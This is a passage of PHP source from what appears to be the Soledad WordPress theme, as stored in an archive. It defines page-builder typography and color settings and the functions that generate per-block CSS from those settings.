					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Author Color', 'soledad' ),
					'param_name'       => 'bpauthor_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Border Color', 'soledad' ),
					'param_name'       => 'bpmeta_border_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bpmeta_fsize',
					'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Color', 'soledad' ),
					'param_name'       => 'bpcat_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Hover Color', 'soledad' ),
					'param_name'       => 'bpcat_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $color_big_post ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bpcat_fsize',
					'heading'          => __( 'Font Size for Post Categories', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bpexcerpt_size',
					'heading'          => __( 'Font Size for Post Excerpt', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'style',
						'value'   => array(
							'mixed',
							'mixed-4',
							'standard-grid',
							'standard-grid-2',
							'standard-list',
							'standard-boxed-1',
							'classic-grid',
							'classic-grid-2',
							'classic-list'
						)
					),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bsocialshare_size',
					'heading'          => __( 'Font Size for Post Social Share', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => $style_big_post ),
				),

				// Pagination
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pag_settings',
					'heading'          => esc_html__( 'Pagination', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pagination_icon',
					'heading'          => __( 'Font size for Load More Icon', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pagination_size',
					'heading'          => __( 'Font Size for Pagination', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Text Color', 'soledad' ),
					'param_name'       => 'pagination_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Border Color', 'soledad' ),
					'param_name'       => 'pagination_bordercolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Background Color', 'soledad' ),
					'param_name'       => 'pagination_bgcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Hover Text Color', 'soledad' ),
					'param_name'       => 'pagination_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Hover Border Color', 'soledad' ),
					'param_name'       => 'pagination_hbordercolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Pagination Hover Background Color', 'soledad' ),
					'param_name'       => 'pagination_hbgcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
			);
		}

		public static function params_featured_cat_typo_color() {
			$group_color = 'Typo & Color';

			return array(
				// Post title
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_ptittle_settings',
					'heading'          => esc_html__( 'Posts General Options', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Border Color', 'soledad' ),
					'param_name'       => 'pborder_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				// Post title
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_ptittle_settings',
					'heading'          => esc_html__( 'Posts Title', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
					'param_name'       => 'ptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
					'param_name'       => 'ptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color of Big Post', 'soledad' ),
					'param_name'       => 'bptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => array( 'style-14', 'style-15' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color of Big Post', 'soledad' ),
					'param_name'       => 'bptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => array( 'style-14', 'style-15' ) ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'ptitle_fsize',
					'heading'          => __( 'Font Size for Post Title', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'bptitle_fsize',
					'heading'          => __( 'Font Size for Title of Big Post', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array(
						'element' => 'style',
						'value'   => array(
							'style-1',
							'style-2',
							'style-6',
							'style-10',
							'style-14',
							'style-15'
						)
					),
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
					'param_name'       => 'use_ptitle_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'ptitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
				),

				// Post meta
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pmeta_settings',
					'heading'          => esc_html__( 'Posts Meta', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
					'param_name'       => 'pmeta_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Hover Color', 'soledad' ),
					'param_name'       => 'pmeta_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Color for Big Posts', 'soledad' ),
					'param_name'       => 'bpmeta_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => array( 'style-14', 'style-15' ) ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Hover Color for Big Posts', 'soledad' ),
					'param_name'       => 'bpmeta_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => array( 'style-14', 'style-15' ) ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pmeta_fsize',
					'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
					'param_name'       => 'use_pmeta_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pmeta_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
				),
				// Post excrept
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pexcrept_settings',
					'heading'          => esc_html__( 'Posts Excerpt', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Excerpt Color', 'soledad' ),
					'param_name'       => 'pexcerpt_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pexcerpt_fsize',
					'heading'          => __( 'Font Size for Post Excerpt', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Excerpt', 'soledad' ),
					'param_name'       => 'use_pexcerpt_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pexcerpt_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pexcerpt_typo', 'value' => 'yes' ),
				),

				// Category
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pcat_settings',
					'heading'          => esc_html__( 'Categories', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					'dependency'       => array( 'element' => 'style', 'value' => 'style-8' ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Color', 'soledad' ),
					'param_name'       => 'pcat_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => 'style-8' ),
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Categories Hover Color', 'soledad' ),
					'param_name'       => 'pcat_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => 'style-8' ),
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pcat_fsize',
					'heading'          => __( 'Font Size for Post Categories', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
					'dependency'       => array( 'element' => 'style', 'value' => 'style-8' ),
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pcat_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'style', 'value' => 'style-8' ),
				),
			);
		}

		public static function params_popular_posts_typo_color() {
			$group_color = 'Typo & Color';

			return array(
				// Post title
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_ptittle_settings',
					'heading'          => esc_html__( 'Posts Title', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
					'param_name'       => 'ptitle_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
					'param_name'       => 'ptitle_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'ptitle_fsize',
					'heading'          => __( 'Font Size for Post Title', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
					'param_name'       => 'use_ptitle_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'ptitle_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
				),

				// Post meta
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pmeta_settings',
					'heading'          => esc_html__( 'Posts Meta', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
					'param_name'       => 'pmeta_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'penci_number',
					'param_name'       => 'pmeta_fsize',
					'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
					'value'            => '',
					'std'              => '',
					'suffix'           => 'px',
					'min'              => 1,
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'checkbox',
					'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
					'param_name'       => 'use_pmeta_typo',
					'value'            => array( __( 'Yes', 'soledad' ) => 'yes' ),
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'       => 'google_fonts',
					'group'      => $group_color,
					'param_name' => 'pmeta_typo',
					'value'      => '',
					'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
				),

				// Dot style
				array(
					'type'             => 'textfield',
					'param_name'       => 'heading_pmeta_settings',
					'heading'          => esc_html__( 'Dots Slider', 'soledad' ),
					'value'            => '',
					'group'            => $group_color,
					'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dot background color', 'soledad' ),
					'param_name'       => '_dot_color',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'colorpicker',
					'heading'          => esc_html__( 'Dot border and background active color', 'soledad' ),
					'param_name'       => 'dot_hcolor',
					'group'            => $group_color,
					'edit_field_class' => 'vc_col-sm-6',
				),
			);
		}

		/**
		 * Get image sizes.
		 *
		 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
		 */
		public static function get_list_image_sizes( $default = false ) {
			$wp_image_sizes = self::get_all_image_sizes();

			$image_sizes = array();

			if ( $default ) {
				$image_sizes[ esc_html__( 'Default', 'soledad' ) ] = '';
			}

			foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
				$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
				if ( is_array( $size_attributes ) ) {
					$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
				}

				$image_sizes[ $control_title ] = $size_key;
			}

			$image_sizes[ esc_html__( 'Full', 'soledad' ) ] = 'full';

			return $image_sizes;
		}

		public static function get_all_image_sizes() {
			global $_wp_additional_image_sizes;

			$default_image_sizes = array( 'thumbnail', 'medium', 'medium_large', 'large' );

			$image_sizes = array();

			foreach ( $default_image_sizes as $size ) {
				$image_sizes[ $size ] = [
					'width'  => (int) get_option( $size . '_size_w' ),
					'height' => (int) get_option( $size . '_size_h' ),
					'crop'   => (bool) get_option( $size . '_crop' ),
				];
			}

			if ( $_wp_additional_image_sizes ) {
				$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
			}

			return $image_sizes;
		}
	}
endif;
PK     N\Y    (  inc/js_composer/inc/custom-css-oldsc.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Custom_CSS_Shortcode_Old' ) ):
	class Penci_Custom_CSS_Shortcode_Old {
		public static function latest_posts( $block_id, $atts ) {

			$block_id   = '#' . $block_id;
			$css_custom = Penci_Vc_Helper::get_heading_block_css( $block_id, $atts );
			$css_custom .= Penci_Vc_Helper::get_heading_block_filter_css( $block_id, $atts );

			if ( isset( $atts['penci_featimg_size'] ) && $atts['penci_featimg_size'] ) {
				if ( 'horizontal' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: 66.6667% !important;}';
				} elseif ( 'square' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 100% !important;}';
				} elseif ( 'vertical' == $atts['penci_featimg_size'] ) {
					$css_custom .= $block_id . '  .penci-image-holder:before{ padding-top: 135.4% !important;}';
				} elseif ( 'custom' == $atts['penci_featimg_size'] ) {
					if ( isset( $atts['penci_featimg_ratio'] ) && ! is_array( $atts['penci_featimg_ratio'] ) ) {
						$ratio      = $atts['penci_featimg_ratio'] ? $atts['penci_featimg_ratio'] : '';
						$css_custom .= $block_id . '  .penci-image-holder:before{padding-top: ' . esc_attr( $ratio ) . '% !important; }';
					}
				}
			}

			// Title
			if ( $atts['pborder_color'] ) {
				$css_custom .= $block_id . ' .grid-mixed,';
				$css_custom .= $block_id . ' .penci-grid .list-post.list-boxed-post,';
				$css_custom .= $block_id . ' .penci-grid li.list-boxed-post-2 .content-boxed-2,';
				$css_custom .= $block_id . ' .penci-grid li.list-post{ border-color: ' . esc_attr( $atts['pborder_color'] ) . ' !important;}';
			}

			$ptitle_typo = "{$block_id} .entry-title,{$block_id} .entry-title a,";
			$ptitle_typo .= "{$block_id} .header-standard .entry-title,{$block_id} .header-standard .entry-title a,";
			$ptitle_typo .= "{$block_id} .overlay-header-box .entry-title,{$block_id} .overlay-header-box .entry-title a,";
			$ptitle_typo .= "{$block_id} .header-standard h2, {$block_id} .header-standard h2 a,";
			$ptitle_typo .= "{$block_id} .penci-grid li .item h2 a, {$block_id} .penci-grid li .item h2 a,";
			$ptitle_typo .= "{$block_id} .penci-masonry .item-masonry h2 a,{$block_id} .penci-masonry .item-masonry h2 a";

			if ( $atts['ptitle_color'] ) {
				$css_custom .= $ptitle_typo . '{ color: ' . esc_attr( $atts['ptitle_color'] ) . ' !important;}';
			}
			if ( $atts['ptitle_hcolor'] ) {
				$css_custom .= $block_id . ' .header-standard h2 a:hover,' . $block_id . ' .entry-title a:hover,';
				$css_custom .= $block_id . '.penci-grid li .item h2 a:hover,' . $block_id . ' .penci-masonry .item-masonry h2 a:hover,';
				$css_custom .= $block_id . ' .overlay-header-box .overlay-title a:hover{ color: ' . esc_attr( $atts['ptitle_hcolor'] ) . ' !important;}';
			}

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['ptitle_fsize'],
				'font_style' => $atts['use_ptitle_typo'] ? $atts['ptitle_typo'] : '',
				'template'   => $ptitle_typo . '{ %s }',
			) );

			// Post meta
			if ( $atts['pmeta_color'] ) {
				$css_custom .= $block_id . ' .header-standard .author-post span,';
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-box-meta span,';
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-box-meta a,';
				$css_custom .= $block_id . ' .overlay-author span,';
				$css_custom .= $block_id . ' .overlay-author a,';
				$css_custom .= $block_id . ' .overlay-post-box-meta .overlay-share span,';
				$css_custom .= $block_id . ' .overlay-post-box-meta .overlay-share a,';
				$css_custom .= $block_id . ' .overlay-post-box-meta,';
				$css_custom .= $block_id . ' .grid-post-box-meta span{ color: ' . esc_attr( $atts['pmeta_color'] ) . ';}';
			}
			if ( $atts['pmeta_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-box-meta a:hover,';
				$css_custom .= $block_id . ' .overlay-author a:hover,';
				$css_custom .= $block_id . ' .grid-post-box-meta span a:hover{ color: ' . esc_attr( $atts['pmeta_hcolor'] ) . ';}';
			}

			if ( $atts['pauthor_color'] ) {
				$css_custom .= $block_id . ' .penci-meta-author a,';
				$css_custom .= $block_id . ' .penci-meta-author span,';
				$css_custom .= $block_id . ' .grid-post-box-meta span a,';
				$css_custom .= $block_id . ' .header-standard .author-post span a{ color: ' . esc_attr( $atts['pauthor_color'] ) . ' !important;}';
			}
			if ( $atts['pmeta_border_color'] ) {
				$css_custom .= $block_id . ' .header-standard:after,';
				$css_custom .= $block_id . ' .grid-header-box:after,';
				$css_custom .= $block_id . ' .penci-overlay-over .overlay-header-box:after,';
				$css_custom .= $block_id . ' .penci-post-box-meta{ background-color: ' . esc_attr( $atts['pmeta_border_color'] ) . ';}';
			}

			$pmeta_typo = $block_id . ' .header-standard .author-post,';
			$pmeta_typo .= $block_id . ' .penci-post-box-meta .penci-box-meta span,';
			$pmeta_typo .= $block_id . ' .penci-post-box-meta .penci-box-meta a,';
			$pmeta_typo .= $block_id . ' .overlay-author a,';
			$pmeta_typo .= $block_id . ' .overlay-header-box .overlay-author,';
			$pmeta_typo .= $block_id . ' .grid-post-box-meta';

			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pmeta_fsize'],
				'font_style' => $atts['use_pmeta_typo'] ? $atts['pmeta_typo'] : '',
				'template'   => $pmeta_typo . '{ %s }',
			) );

			// Post excrept
			$markup_excrept = "{$block_id} .post-entry.standard-post-entry, {$block_id} .post-entry.standard-post-entry p,";
			$markup_excrept .= "{$block_id} .penci-grid .entry-content,{$block_id} .penci-grid .entry-content p,";
			$markup_excrept .= "{$block_id} .entry-content,{$block_id} .entry-content p";
			if ( $atts['pexcrept_color'] ) {
				$css_custom .= $markup_excrept . '{ color: ' . esc_attr( $atts['pexcrept_color'] ) . '}';
			}
			if ( $atts['use_pexcrept_typo'] ) {
				$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
					'font_size'  => $atts['pexcrept_fsize'],
					'font_style' => $atts['pexcrept_typo'],
					'template'   => $markup_excrept . '{ %s }',
				) );
			}
			// Cat
			if ( $atts['pcat_color'] ) {
				$css_custom .= $block_id . ' .cat > a.penci-cat-name{ color: ' . esc_attr( $atts['pcat_color'] ) . '}';
				$css_custom .= $block_id . ' .typography-style .main-typography a.penci-cat-name:after,';
				$css_custom .= $block_id . ' .penci-grid .cat a.penci-cat-name:after,';
				$css_custom .= $block_id . ' .penci-masonry .cat a.penci-cat-name:after,';
				$css_custom .= $block_id . ' .overlay-header-box .cat > a.penci-cat-name:after{ border-color: ' . esc_attr( $atts['pcat_color'] ) . '}';
			}
			if ( $atts['pcat_hcolor'] ) {
				$css_custom .= $block_id . ' .cat > a.penci-cat-name:hover{ color: ' . esc_attr( $atts['pcat_hcolor'] ) . '}';
			}
			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['pcat_fsize'],
				'font_style' => $atts['use_pcat_typo'] ? $atts['pcat_typo'] : '',
				'template'   => $block_id . ' .cat > a.penci-cat-name{ %s }',
			) );

			// Read more btn
			if ( $atts['prmore_color'] ) {
				$css_custom .= $block_id . ' .penci-more-link a.more-link{ color: ' . esc_attr( $atts['prmore_color'] ) . '}';
				$css_custom .= $block_id . ' .penci-more-link a.more-link:before,';
				$css_custom .= $block_id . ' .penci-more-link a.more-link:after{ border-top-color: ' . esc_attr( $atts['prmore_color'] ) . '}';
			}
			if ( $atts['pcat_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-more-link a.more-link:hover{ color: ' . esc_attr( $atts['pcat_hcolor'] ) . '}';
			}
			if ( $atts['pag_icon_fsize'] ) {
				$css_custom .= $block_id . ' .penci-more-link a.more-link:hover{ font-size: ' . esc_attr( $atts['pag_icon_fsize'] ) . '}';
			}
			$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
				'font_size'  => $atts['prmore_fsize'],
				'font_style' => $atts['use_prmore_typo'] ? $atts['prmore_typo'] : '',
				'template'   => $block_id . ' .penci-more-link a.more-link{ %s }',
			) );

			// Share
			if ( $atts['pshare_color'] ) {
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-post-share-box a{ color: ' . esc_attr( $atts['pshare_color'] ) . '}';
			}
			if ( $atts['pshare_hcolor'] ) {
				$css_custom .= $block_id . ' .penci-post-box-meta .penci-post-share-box a:hover{ color: ' . esc_attr( $atts['pshare_hcolor'] ) . '}';
			}
			if ( $atts['pshare_border_color'] ) {
				$css_custom .= $block_id . ' .penci-post-box-meta.penci-post-box-grid:before{ background-color: ' . esc_attr( $atts['pshare_border_color'] ) . '}';
				$css_custom .= $block_id . ' .penci-post-box-meta{ border-color: ' . esc_attr( $atts['pshare_border_color'] ) . '}';
			}

			// Pagination
			if ( $atts['pagination_icon'] ) {
				$css_custom .= $block_id . ' .penci-pagination a.penci-ajax-more-button i,' . $block_id . ' .penci-pagination .disable-url i{ font-size: ' . esc_attr( $atts['pagination_icon'] ) . '}';
			}
			if ( $atts['pagination_size'] ) {
				$css_custom .= $block_id . ' .penci-pagination ul.page-numbers li a i,';
				$css_custom .= $block_id . ' .penci-pagination ul.page-numbers li span,';
				$css_custom .= $block_id . ' .penci-pagination ul.page-numbers li a,';
				$css_custom .= $block_id . '  .penci-pagination.penci-ajax-more a.penci-ajax-more-button{ font-size: ' . esc_attr( $atts['pagination_size'] ) . '}';
			}

			$markup_pagination_color = "{$block_id} .penci-pagination ul.page-numbers li span,";
			$markup_pagination_color .= "{$block_id} .penci-pagination ul.page-numbers li a,";
			$markup_pagination_color .= "{$block_id} .penci-pagination.penci-ajax-more a.penci-ajax-more-button";
			if ( $atts['pagination_color'] ) {
				$css_custom .= $markup_pagination_color . '{ color: ' . esc_attr( $atts['pagination_color'] ) . ' !important; }';
			}
			if ( $atts['pagination_bordercolor'] ) {
				$css_custom .= $markup_pagination_color . '{ border-color: ' . esc_attr( $atts['pagination_bordercolor'] ) . ' !important; }';
			}
			if ( $atts['pagination_bgcolor'] ) {
				$css_custom .= $markup_pagination_color . '{ background-color: ' . esc_attr( $atts['pagination_bgcolor'] ) . ' !important; }';
			}

			$markup_pagination_hcolor = "{$block_id} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover,";
			$markup_pagination_hcolor .= "{$block_id} .penci-pagination ul.page-numbers li a:hover,";
			$markup_pagination_hcolor .= "{$block_id} .penci-pagination ul.page-numbers li span.current";
			if ( $atts['pagination_hcolor'] ) {
				$css_custom .= $markup_pagination_hcolor . '{ color: ' . esc_attr( $atts['pagination_hcolor'] ) . ' !important; }';
			}
			if ( $atts['pagination_hbordercolor'] ) {
				$css_custom .= $markup_pagination_hcolor . '{ border-color: ' . esc_attr( $atts['pagination_hbordercolor'] ) . ' !important; }';
			}
			if ( $atts['pagination_hbgcolor'] ) {
				$css_custom .= $markup_pagination_hcolor . '{ background-color: ' . esc_attr( $atts['pagination_hbgcolor'] ) . ' !important; }';
			}

			// Big
			$style_big_post = array(
				'mixed',
				'mixed-4',
				'mixed-2',
				'standard-grid',
				'standard-grid-2',
				'standard-list',
				'standard-boxed-1',
				'classic-grid',
				'classic-grid-2',
				'classic-list',
				'classic-boxed-1',
				'overlay-grid',
				'overlay-grid-2',
				'overlay-list',
				'overlay-boxed-1'
			);

			if ( 'mixed-2' == $atts['style'] || 'overlay-grid' == $atts['style'] || 'overlay-grid-2' == $atts['style'] || 'overlay-list' == $atts['style'] || 'overlay-boxed' == $atts['style'] ) {
				if ( $atts['bptitle_color'] ) {
